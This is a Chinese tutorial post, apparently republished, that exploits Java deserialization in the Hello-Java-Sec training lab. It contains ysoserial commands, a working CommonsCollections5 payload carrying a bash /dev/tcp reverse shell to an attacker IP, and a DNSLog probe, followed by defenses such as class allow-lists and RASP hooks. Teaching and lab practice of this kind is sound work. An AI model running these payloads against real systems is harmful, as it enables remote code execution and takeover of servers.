        static class SilentURLStreamHandler extends URLStreamHandler {
                protected URLConnection openConnection(URL u) throws IOException {
                        return null;
                }

                protected synchronized InetAddress getHostAddress(URL u) {
                        return null;
                }
        }
}

ysoserial 每个 Payload 都具备 public static void main,可以下载源码后设置断点调试分析:
imagepng
上述生成 URLDNS Payload 的细节分析,参见《Java安全之ysoserial-URLDNS链分析》,此处不再展开。

Hello-Java-Sec

补充介绍一个新的 Java 靶场:Hello-Java-Sec:☕️ Java Security,安全编码和代码审计。集成了多类 Java 漏洞的缺陷代码和修复方式,是 java-sec-code 的升级版。个人感觉相当不错,基于 SpringBoot 框架搭建,UI 界面友好,Java 漏洞类型丰富,同时每类漏洞提供了相应的修复方案。

部署方式很简单:

//会通过Tomcat起服务,从日志可以看到看对应服务端口(默认8888)
java -jar javasec-1.11.jar
test@ubuntu:~/Downloads$ java -jar java -jar javasec-1.11.jar

                            ____
                        .-        -.
                      |,  .-.  .-.  ,|
                      | )(_ /  \_ )( |
                      |/     /\     \|
             (@_      <__    ^^    __>
             ) \_______\__|IIIIII|__/____________________
      (_)\@8@8{}<________________________________________>
             )_/         \ IIIIII /
             (@           --------

               ->>[======================]->>
               MMMMMM---==[=Program : Hello Java Sec
               MMMMMM---==[=Version : 1.11
               MMMMMM---==[=Update : 2023/10/18
               MMMMMM---==[=Powered By : nul1
2024-05-30 19:43:38.408  INFO 8434 --- [           main] com.best.hello.HelloApplication          : Starting HelloApplication v1.11 using Java 11.0.22 on ubuntu with PID 8434 (/home/sbw/Downloads/javasec-1.11.jar started by sbw in /home/sbw/Downloads)
2024-05-30 19:43:38.411  INFO 8434 --- [           main] com.best.hello.HelloApplication          : No active profile set, falling back to default profiles: default
WARNING: An illegal reflective access operation has occurred
WARNING: Illegal reflective access by org.codehaus.groovy.reflection.CachedClass (jar:file:/home/sbw/Downloads/javasec-1.11.jar!/BOOT-INF/lib/groovy-2.5.14.jar!/) to method java.lang.Object.finalize()
WARNING: Please consider reporting this to the maintainers of org.codehaus.groovy.reflection.CachedClass
WARNING: Use --illegal-access=warn to enable warnings of further illegal reflective access operations
WARNING: All illegal access operations will be denied in a future release
2024-05-30 19:43:40.612  INFO 8434 --- [           main] .s.d.r.c.RepositoryConfigurationDelegate : Bootstrapping Spring Data LDAP repositories in DEFAULT mode.
2024-05-30 19:43:40.635  INFO 8434 --- [           main] .s.d.r.c.RepositoryConfigurationDelegate : Finished Spring Data repository scanning in 14 ms. Found 0 LDAP repository interfaces.
2024-05-30 19:43:41.164  INFO 8434 --- [           main] o.s.b.w.embedded.tomcat.TomcatWebServer  : Tomcat initialized with port(s): 8888 (http)
2024-05-30 19:43:41.174  INFO 8434 --- [           main] o.apache.catalina.core.StandardService   : Starting service [Tomcat]
2024-05-30 19:43:41.174  INFO 8434 --- [           main] org.apache.catalina.core.StandardEngine  : Starting Servlet engine: [Apache Tomcat/9.0.41]
2024-05-30 19:43:41.236  INFO 8434 --- [           main] o.a.c.c.C.[Tomcat].[localhost].[/]       : Initializing Spring embedded WebApplicationContext
2024-05-30 19:43:41.236  INFO 8434 --- [           main] w.s.c.ServletWebServerApplicationContext : Root WebApplicationContext: initialization completed in 2432 ms
2024-05-30 19:43:41.387  INFO 8434 --- [           main] o.s.b.a.e.web.ServletEndpointRegistrar   : Registered '/actuator/jolokia' to jolokia-actuator-endpoint
2024-05-30 19:43:42.315  INFO 8434 --- [           main] o.s.l.c.support.AbstractContextSource    : Property 'userDn' not set - anonymous context will be used for read-write operations
2024-05-30 19:43:42.395  INFO 8434 --- [           main] o.s.b.a.e.web.EndpointLinksResolver      : Exposing 14 endpoint(s) beneath base path '/actuator'
2024-05-30 19:43:42.467  INFO 8434 --- [           main] pertySourcedRequestMappingHandlerMapping : Mapped URL path [/v2/api-docs] onto method [springfox.documentation.swagger2.web.Swagger2Controller#getDocumentation(String, HttpServletRequest)]
2024-05-30 19:43:42.591  INFO 8434 --- [           main] o.s.s.concurrent.ThreadPoolTaskExecutor  : Initializing ExecutorService 'applicationTaskExecutor'
2024-05-30 19:43:42.695  INFO 8434 --- [           main] o.s.b.a.w.s.WelcomePageHandlerMapping    : Adding welcome page template: index
2024-05-30 19:43:43.099  INFO 8434 --- [           main] o.s.b.w.embedded.tomcat.TomcatWebServer  : Tomcat started on port(s): 8888 (http) with context path ''
2024-05-30 19:43:43.100  INFO 8434 --- [           main] d.s.w.p.DocumentationPluginsBootstrapper : Context refreshed
2024-05-30 19:43:43.124  INFO 8434 --- [           main] d.s.w.p.DocumentationPluginsBootstrapper : Found 1 custom documentation plugin(s)
2024-05-30 19:43:43.184  INFO 8434 --- [           main] s.d.s.w.s.ApiListingReferenceScanner     : Scanning for api listing references
……

默认登录账户密码 admin/admin:
imagepngimagepng

反序列化漏洞点

靶场关于反序列化漏洞的环境:
imagepng
反序列化漏洞相关代码位于:com/best/hello/controller/Deserialize/Deserialization.java

/**
 * 反序列化漏洞:序列化是将 Java 对象转换成字节流的过程。而反序列化是将字节流转换成 Java 对象的过程
 * <p>
 * 如何发现漏洞
 * 1. Sink, 使用了序列化和反序列化操作的方法
 * 2. Source, 将用户输入的序列化数据直接反序列化为对象。
 * 3. Sanitizer, 没有对序列化数据进行任何校验或过滤
 * JAVA 常见的序列化和反序列化的方法有JAVA 原生序列化和 JSON 类(fastjson、jackson)序列化
 * <p>
 * 序列化方法
 * 1. JDK(ObjectInputStream.readObject)
 * 2. XMLDecoder.readObject
 * 3. Yaml.load
 * 4. XStream.fromXML
 * 5. ObjectMapper.readValue
 * 6. JSON.parseObject
 * ...
 */
@RestController
@RequestMapping("/Deserialize/readObject")
public class Deserialization {
    Logger log = LoggerFactory.getLogger(Deserialization.class);

    /**
     * @poc http://127.0.0.1:8888/Deserialize/readObject/vul?base64=payload
     * payload:java -jar ysoserial-0.0.6-SNAPSHOT-BETA-all.jar CommonsCollections5 "open -a Calculator" | base64
     */
    @ApiOperation(value = "vul:readObject反序列化")
    @RequestMapping("/vul")
    public String readObject(String base64) {
        try {
            log.info("[vul] 执行反序列化:" + base64);
            base64 = base64.replace(" ", "+");
            byte[] bytes = Base64.getDecoder().decode(base64);
            // 将字节转为输入流
            ByteArrayInputStream stream = new ByteArrayInputStream(bytes);
            // 反序列化流,将序列化的原始数据恢复为对象
            java.io.ObjectInputStream in = new java.io.ObjectInputStream(stream);
            in.readObject();
            in.close();
            return "反序列化漏洞";
        } catch (Exception e) {
            return "Payload:java -jar ysoserial-0.0.6-SNAPSHOT-BETA-all.jar CommonsCollections5 \"open -a Calculator\" | base64";
        }
    }


    @ApiOperation(value = "safe:反序列化类白/黑名单控制", notes = "Apache Commons IO的ValidatingObjectInputStream来校验反序列化的类")
    @RequestMapping("/safe")
    public String safe(String base64) {
        try {
            log.info("[safe] 执行反序列化");
            base64 = base64.replace(" ", "+");
            byte[] bytes = Base64.getDecoder().decode(base64);
            ByteArrayInputStream stream = new ByteArrayInputStream(bytes);
            // 使用 ValidatingObjectInputStream,只允许反序列化Student class
            ValidatingObjectInputStream ois = new ValidatingObjectInputStream(stream);
            ois.accept(Student.class);
            ois.readObject();
            return "ValidatingObjectInputStream";
        } catch (Exception e) {
            return e.toString();
        }
    }

    /**
     * ObjectInputStream.readUnshared 方法并不会执行任意代码,而是只会将序列化数据恢复为原始对象.
     */
    @RequestMapping("/safe2")
    public String readUnshared(String base64) {
        try {
            log.info("[safe] 执行反序列化:" + base64);
            base64 = base64.replace(" ", "+");
            byte[] bytes = Base64.getDecoder().decode(base64);
            // 将字节转为输入流
            ByteArrayInputStream stream = new ByteArrayInputStream(bytes);
            // 反序列化流,将序列化的原始数据恢复为对象
            java.io.ObjectInputStream in = new java.io.ObjectInputStream(stream);
            in.readUnshared();
            in.close();
            return "ObjectInputStream.readUnshared";
        } catch (Exception e) {
            log.warn("[error] readUnshared反序列化失败", e);
            return "ObjectInputStream.readUnshared";
        }
    }
}

点击 run 自动访问此漏洞路由:
imagepng
imagepng

CC5链反弹Shell

先看看 URLDNS 链的验证,使用 ysoserial 生成 URLDNS 反序列化利用链的 PayLoad:

λ java -jar ysoserial-all.jar URLDNS "http://yef39q.dnslog.cn" | base64 |tr -d "\n"
rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAx3CAAAABAAAAABc3IADGphdmEubmV0LlVSTJYlNzYa/ORyAwAHSQAIaGFzaENvZGVJAARwb3J0TAAJYXV0aG9yaXR5dAASTGphdmEvbGFuZy9TdHJpbmc7TAAEZmlsZXEAfgADTAAEaG9zdHEAfgADTAAIcHJvdG9jb2xxAH4AA0wAA3JlZnEAfgADeHD//3QAEHllZjM5cS5kbnNsb2cuY250AABxAH4ABXQABGh0dHBweHQAF2h0dHA6Ly95ZWYzOXEuZG5zbG9nLmNueA==

Burp 发送:
imagepng
DNSLog 平台查询:
在这里插入图片描述

接下来进一步借助开源反序列化利用链工具 ysoserial 尝试反弹 Shell。

Hello-Java-Sec/pom.xml 项目的相关依赖(未见到 Commons Collections 依赖库??):

<dependency>
    <groupId>org.apache.commons</groupId>
    <artifactId>commons-csv</artifactId>
    <version>1.9.0</version>
</dependency>
<dependency>
    <groupId>org.apache.commons</groupId>
    <artifactId>commons-text</artifactId>
    <version>1.9</version>
</dependency>

反弹 shell Payload:

/bin/bash -i >& /dev/tcp/192.168.190.128/6666 0>&1

使用反序列化利用链 CommonsCollections5(亲测 CC1 不行,CC6 则可以),注意需要对反弹 shell Payload 采用 Base64 编码:

test@ubuntu:~/Downloads$ java -jar ysoserial-all.jar CommonsCollections5 'bash -c {echo,L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguMTkwLjEyOC82NjY2IDA+JjE=}|{base64,-d}|{bash,-i}'| base64 |tr -d "\n"
rO0ABXNyAC5qYXZheC5tYW5hZ2VtZW50LkJhZEF0dHJpYnV0ZVZhbHVlRXhwRXhjZXB0aW9u1Ofaq2MtRkACAAFMAAN2YWx0ABJMamF2YS9sYW5nL09iamVjdDt4cgATamF2YS5sYW5nLkV4Y2VwdGlvbtD9Hz4aOxzEAgAAeHIAE2phdmEubGFuZy5UaHJvd2FibGXVxjUnOXe4ywMABEwABWNhdXNldAAVTGphdmEvbGFuZy9UaHJvd2FibGU7TAANZGV0YWlsTWVzc2FnZXQAEkxqYXZhL2xhbmcvU3RyaW5nO1sACnN0YWNrVHJhY2V0AB5bTGphdmEvbGFuZy9TdGFja1RyYWNlRWxlbWVudDtMABRzdXBwcmVzc2VkRXhjZXB0aW9uc3QAEExqYXZhL3V0aWwvTGlzdDt4cHEAfgAIcHVyAB5bTGphdmEubGFuZy5TdGFja1RyYWNlRWxlbWVudDsCRio8PP0iOQIAAHhwAAAAA3NyABtqYXZhLmxhbmcuU3RhY2tUcmFjZUVsZW1lbnRhCcWaJjbdhQIACEIABmZvcm1hdEkACmxpbmVOdW1iZXJMAA9jbGFzc0xvYWRlck5hbWVxAH4ABUwADmRlY2xhcmluZ0NsYXNzcQB+AAVMAAhmaWxlTmFtZXEAfgAFTAAKbWV0aG9kTmFtZXEAfgAFTAAKbW9kdWxlTmFtZXEAfgAFTAANbW9kdWxlVmVyc2lvbnEAfgAFeHABAAAAUXQAA2FwcHQAJnlzb3NlcmlhbC5wYXlsb2Fkcy5Db21tb25zQ29sbGVjdGlvbnM1dAAYQ29tbW9uc0NvbGxlY3Rpb25zNS5qYXZhdAAJZ2V0T2JqZWN0cHBzcQB+AAsBAAAAM3EAfgANcQB+AA5xAH4AD3EAfgAQcHBzcQB+AAsBAAAAInEAfgANdAAZeXNvc2VyaWFsLkdlbmVyYXRlUGF5bG9hZHQAFEdlbmVyYXRlUGF5bG9hZC5qYXZhdAAEbWFpbnBwc3IAH2phdmEudXRpbC5Db2xsZWN0aW9ucyRFbXB0eUxpc3R6uBe0PKee3gIAAHhweHNyADRvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMua2V5dmFsdWUuVGllZE1hcEVudHJ5iq3SmznBH9sCAAJMAANrZXlxAH4AAUwAA21hcHQAD0xqYXZhL3V0aWwvTWFwO3hwdAADZm9vc3IAKm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5tYXAuTGF6eU1hcG7llIKeeRCUAwABTAAHZmFjdG9yeXQALExvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnMvVHJhbnNmb3JtZXI7eHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkNoYWluZWRUcmFuc2Zvcm1lcjDHl+woepcEAgABWwANaVRyYW5zZm9ybWVyc3QALVtMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwdXIALVtMb3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLlRyYW5zZm9ybWVyO71WKvHYNBiZAgAAeHAAAAAFc3IAO29yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5Db25zdGFudFRyYW5zZm9ybWVyWHaQEUECsZQCAAFMAAlpQ29uc3RhbnRxAH4AAXhwdnIAEWphdmEubGFuZy5SdW50aW1lAAAAAAAAAAAAAAB4cHNyADpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuSW52b2tlclRyYW5zZm9ybWVyh+j/a3t8zjgCAANbAAVpQXJnc3QAE1tMamF2YS9sYW5nL09iamVjdDtMAAtpTWV0aG9kTmFtZXEAfgAFWwALaVBhcmFtVHlwZXN0ABJbTGphdmEvbGFuZy9DbGFzczt4cHVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJ0AApnZXRSdW50aW1ldXIAEltMamF2YS5sYW5nLkNsYXNzO6sW167LzVqZAgAAeHAAAAAAdAAJZ2V0TWV0aG9kdXEAfgAvAAAAAnZyABBqYXZhLmxhbmcuU3RyaW5noPCkOHo7s0ICAAB4cHZxAH4AL3NxAH4AKHVxAH4ALAAAAAJwdXEAfgAsAAAAAHQABmludm9rZXVxAH4ALwAAAAJ2cgAQamF2YS5sYW5nLk9iamVjdAAAAAAAAAAAAAAAeHB2cQB+ACxzcQB+ACh1cgATW0xqYXZhLmxhbmcuU3RyaW5nO63SVufpHXtHAgAAeHAAAAABdABpYmFzaCAtYyB7ZWNobyxMMkpwYmk5aVlYTm9JQzFwSUQ0bUlDOWtaWFl2ZEdOd0x6RTVNaTR4TmpndU1Ua3dMakV5T0M4Mk5qWTJJREErSmpFPX18e2Jhc2U2NCwtZH18e2Jhc2gsLWl9dAAEZXhlY3VxAH4ALwAAAAFxAH4ANHNxAH4AJHNyABFqYXZhLmxhbmcuSW50ZWdlchLioKT3gYc4AgABSQAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAABc3IAEWphdmEudXRpbC5IYXNoTWFwBQfawcMWYNEDAAJGAApsb2FkRmFjdG9ySQAJdGhyZXNob2xkeHA/QAAAAAAAAHcIAAAAEAAAAAB4eA==
sbw@ubuntu:~/Downloads$ 

发送生成的最终 Payload, 成功反弹 shell:
imagepng
imagepng

反序列化的防御

修复反序列化漏洞的常规方法:

  1. 升级第三方依赖库和 JDK 版本,这两者均会对一些常规的反序列化利用链进行修复、阻断;
  2. 在使用 readobiect() 反序列化时,首先会调用 resolveClass 方法读取反序列化的为名,所以我们可以通过重写 java.io.ObjectInputStream 对象的 resolveClass 或 resolveProxyClass 方法来实现对反序列化类的校验。

RASP 可以利用动态编辑类字节码的优势,直接编辑 ObjectInputStream 类的 resolveClass 或 resolveProxyClass 方法字节码,动态插入 RASP 类代码,从而实现检测反序列化脚本攻击。
imagepng
以百度开源的 OpenRASP 为例:DeserializationHook.java
imagepng
imagepng
imagepng
如果是黑白名单检测方法的话,Hello-Java-Sec 也提供了示例:

    @ApiOperation(value = "safe:反序列化类白/黑名单控制", notes = "Apache Commons IO的ValidatingObjectInputStream来校验反序列化的类")
    @RequestMapping("/safe")
    public String safe(String base64) {
        try {
            log.info("[safe] 执行反序列化");
            base64 = base64.replace(" ", "+");
            byte[] bytes = Base64.getDecoder().decode(base64);
            ByteArrayInputStream stream = new ByteArrayInputStream(bytes);
            // 使用 ValidatingObjectInputStream,只允许反序列化Student class
            ValidatingObjectInputStream ois = new ValidatingObjectInputStream(stream);
            ois.accept(Student.class);
            ois.readObject();
            return "ValidatingObjectInputStream";
        } catch (Exception e) {
            return e.toString();
        }
    }

试着继续用 CC5 链反弹 shell,失败如下:
imagepng

总结

本文从一个实际的 Java 反序列化 Demo 出发,学习反序列化漏洞的 Source 点特征、漏洞利用的必要条件,同时分析了 URLDNS 链的原理,最后总结了 Java 反序列化漏洞的防御手段。

整体上而言,面对受害系统存在外部可控的反序列化输入源,攻击者的目标就是借助公共依赖库利用链(大量涉及 Java 反射、动态代理等特性)、JNDI 注入等手段,往输入源传输最终可执行命令的 exp,使得在受害系统对 exp 进行反序列化时实现 RCE。

后续进一步需要分析学习的有:Fastjson 漏洞 JNDI 注入原理、Apache Common Collections 其它反序列化利用链分析。

本文参考文章如下:

  1. javasec_study/java代码审计-反序列化.md;
  2. Java反序列化漏洞 · 攻击Java Web应用-[Java Web安全];
  3. JAVA反序列化之URLDNS链分析;
  4. Java安全之ysoserial-URLDNS链分析;
  5. 理解Java反序列化-ysoserial URLDNS | Seikei’s Blog;
  6. CC1 链的理解可进一步参考:《Java反序列化之CC1其一》。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/673011.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

mipi-csi笔记

数据格式 长包&#xff0c;短包 用DI来判断数据类型 测试帧率&#xff0c;如用1G的示波器 下面的代表这是一张图片,用帧间隙来测试YUV422视频的帧率 fps10hz的外同步

alist配合onlyoffice 实现在线预览

alist配合onlyoffice 实现在线预览 文章目录 alist配合onlyoffice 实现在线预览一、安装onlyoffice二、增加view.html文件三、安装nginx&#xff0c;并增加conf配置文件四、alist预览配置增加 一、安装onlyoffice 我是采用docker安装&#xff0c;采用的版本是7.2&#xff0c; …

eNSP学习——连接RIP与OSPF网络、默认路由

目录 相关主要命令 实验一、连接RIP与OSPF网络 原理概述 实验目的 实验内容 实验拓扑 实验编址 实验步骤 1、基本配置 2、搭建RIP和OSPF网络 3、配置双向路由引入 4、手工配置引入时的开销值 实验二、使用OSPF、RIP发布默认路由 原理介绍 实验目的 实验内容 实…

天气数据集-Jena Climate dataset

天气数据集-Jena Climate dataset 1.数据集基本信息 Dataset Name: mpi_saale_2021b.csv Size: 26495 rows; 1 year (2021), 10 min 气象学、农业、环境科学 开源机构: Max Planck Institute for Biogeochemistry 2.数据特征 2.1 特征简介 数据共有31个特征&#xff0c;…

【GeoServer系列】——安装与发布shapefile数据

GeoServer是一个基于java的服务器&#xff0c;它允许用户查看和编辑地理空间数据。使用OGC制定的开放标准&#xff0c;GeoServer在地图创建和数据共享方面具有极大的灵活性。 功能概述&#xff1a; Open and Share Your Spatial Data GeoServer允许您向世界显示您的空间信息。G…

上可生产力,下可打游戏!奥睿科USB4炫影固态硬盘盒是真的稳

上可生产力&#xff0c;下可打游戏&#xff01;奥睿科USB4炫影固态硬盘盒是真的稳 哈喽小伙伴好&#xff0c;我是Stark-C~ 开篇 对于和我一样经常需要和存储数据打交道的人群来说&#xff0c;大容量的移动硬盘可以说是不可或缺的。移动硬盘作为一种便携式的存储设备&#xf…

笔记:美团的测试

0.先启动appium 1.编写代码 如下&#xff1a; from appium import webdriver from appium.webdriver.extensions.android.nativekey import AndroidKeydesired_caps {platformName: Android,platformVersion: 10,deviceName: :VOG_AL10,appPackage: com.sankuai.meituan,ap…

Git操作笔记

学git已经好多次了。但是还是会忘记很多的东西&#xff0c;一些常用的操作命令和遇到的bug以后在这边记录汇总下 一.github图片展示 图片挂载&#xff0c;我是创建了一个库专门存图片&#xff0c;然后在github的md中用专用命令展示图片&#xff0c;这样你的md就不会全是文字那…

Android O Camera深度研究

目录 Adnroid O之前的Android camera软件框架 Adnroid O camera软件框架 Passthrough Mode Binderized mode Wrapper shim for libhardware HALs Wrapper shim for libhardware HALs Customized Treble Camera HAL/framework Camera HAL transition and removal plan …

【限免】杂波环境下线性调频脉冲、巴克码、频率步进脉冲雷达MTI、脉冲压缩【附MATLAB代码】

来源&#xff1a;微信公众号&#xff1a;EW Frontier 本代码主要模拟杂波环境&#xff08;飞机、地杂波、鸟类信号&#xff09;下&#xff0c;Chirp脉冲、巴克码脉冲、频率步进脉冲雷达信号的脉冲压缩及MTI、​匹配滤波。 MATLAB主代码 % 定义参数 fs 1000; % 采样率 T 1; …

MYSQL一、MYSQL的了解

一、MySQL概述 1、数据库相关概念 为了方便&#xff0c;我们一般把mysql数据库管理系统简称位mysql数据库 通过可以操作数据库管理系统&#xff0c;然后再通过数据库管理系统操作&#xff08;数据库&#xff09;和&#xff08;数据库里面的数据&#xff09; 2、当前主流的关系…

Vue3 - Mac系统用文本编辑写html不显示效果的坑

平时在win系统下&#xff0c;可以直接对文本进行编辑&#xff0c;非常的舒服。 在mac系统中&#xff0c;也有类似的功能&#xff0c;就是文本编辑&#xff0c;没想到居然还有坑。 这是我mac系统中创建的html文件&#xff0c;想着没有几行代码&#xff0c;就没有开编辑器了&am…

Java 异常

一、异常的继承体系图 如图 二、Throwable类常用的方法 1.获取异常的信息 public String getMessage() {return detailMessage; } 2.获取异常的原因 // 获取异常的原因 public String getLocalizedMessage() {return getMessage(); } 3.打印异常信息 // 打印异常信息 publi…

NDIS Filter开发-OID 请求

NDIS 定义对象标识符 (OID) 值来标识适配器参数&#xff0c;其中包括操作参数&#xff0c;例如设备特征、可配置的设置和统计信息。 Filter驱动程序可以查询或设置基础驱动程序的操作参数&#xff0c;或过滤/覆盖顶层驱动程序的 OID 请求。 NDIS 还为 NDIS 6.1 及更高版本的Fi…

STM32_SPI

1、SPI简介 1.1 什么是SPI SPI&#xff0c;即Serial Peripheral Interface&#xff0c;串行外设接口。SPI是一种高速的、全双工、同步的串行通信总线&#xff1b;SPI采用主从方式工作&#xff0c;一般有一个主设备和一个或多个从设备&#xff1b;SPI需要至少4根线&#xff0c;…

【操作与配置】VS2017与MFC环境配置

【操作与配置】VS2017与MFC环境配置 概述 Visual Studio 是一款强大且多功能的集成开发环境&#xff08;IDE&#xff09;&#xff0c;适用于软件开发人员和团队。使用此应用程序&#xff0c;您可以构建和调试现代Web应用程序&#xff0c;并利用扩展帮助探索几乎任何编程语言。…

springboot高校网上选课系统-计算机毕业设计源码85583

摘 要 本论文主要论述了如何使用JAVA语言开发一个高校网上选课系统&#xff0c;本系统将严格按照软件开发流程进行各个阶段的工作&#xff0c;采用B/S架构&#xff0c;面向对象编程思想进行项目开发。在引言中&#xff0c;作者将论述高校网上选课系统的当前背景以及系统开发的目…

重复文件怎么查找并清理?电脑重复文件清理工具分享:4个

在日常使用电脑的过程中&#xff0c;我们不可避免地会遇到各种重复文件的问题。这些重复文件不仅占据了宝贵的存储空间&#xff0c;还可能导致系统性能下降&#xff0c;甚至引发一些不必要的问题。因此&#xff0c;如何有效地查找并清理这些重复文件成为了许多用户关注的焦点。…

牛客BM85 验证IP地址【中等 字符串 Java/Go/PHP】

题目 题目链接&#xff1a; https://www.nowcoder.com/practice/55fb3c68d08d46119f76ae2df7566880 https://www.lintcode.com/problem/1222/description 思路 直接模拟&#xff0c;注意IPv4,ipv6的条件Java代码 import java.util.*;public class Solution {/*** 验证IP地址…

docker基础,docker安装mysql,docker安装Nginx,docker安装mq,docker基础命令

核心功能操作镜像 Docker安装mysql docker run -d --name mysql -p 3306:3306 -e TZAsia/Shanghai -e MYSQL_ROOT_PASSWORDlcl15604007179 mysql docker的基本操作 docker rm 容器名称即可 docker ps 查看当前运行的容器 docker rm 干掉当前容器 docker logs 查看容器命令日…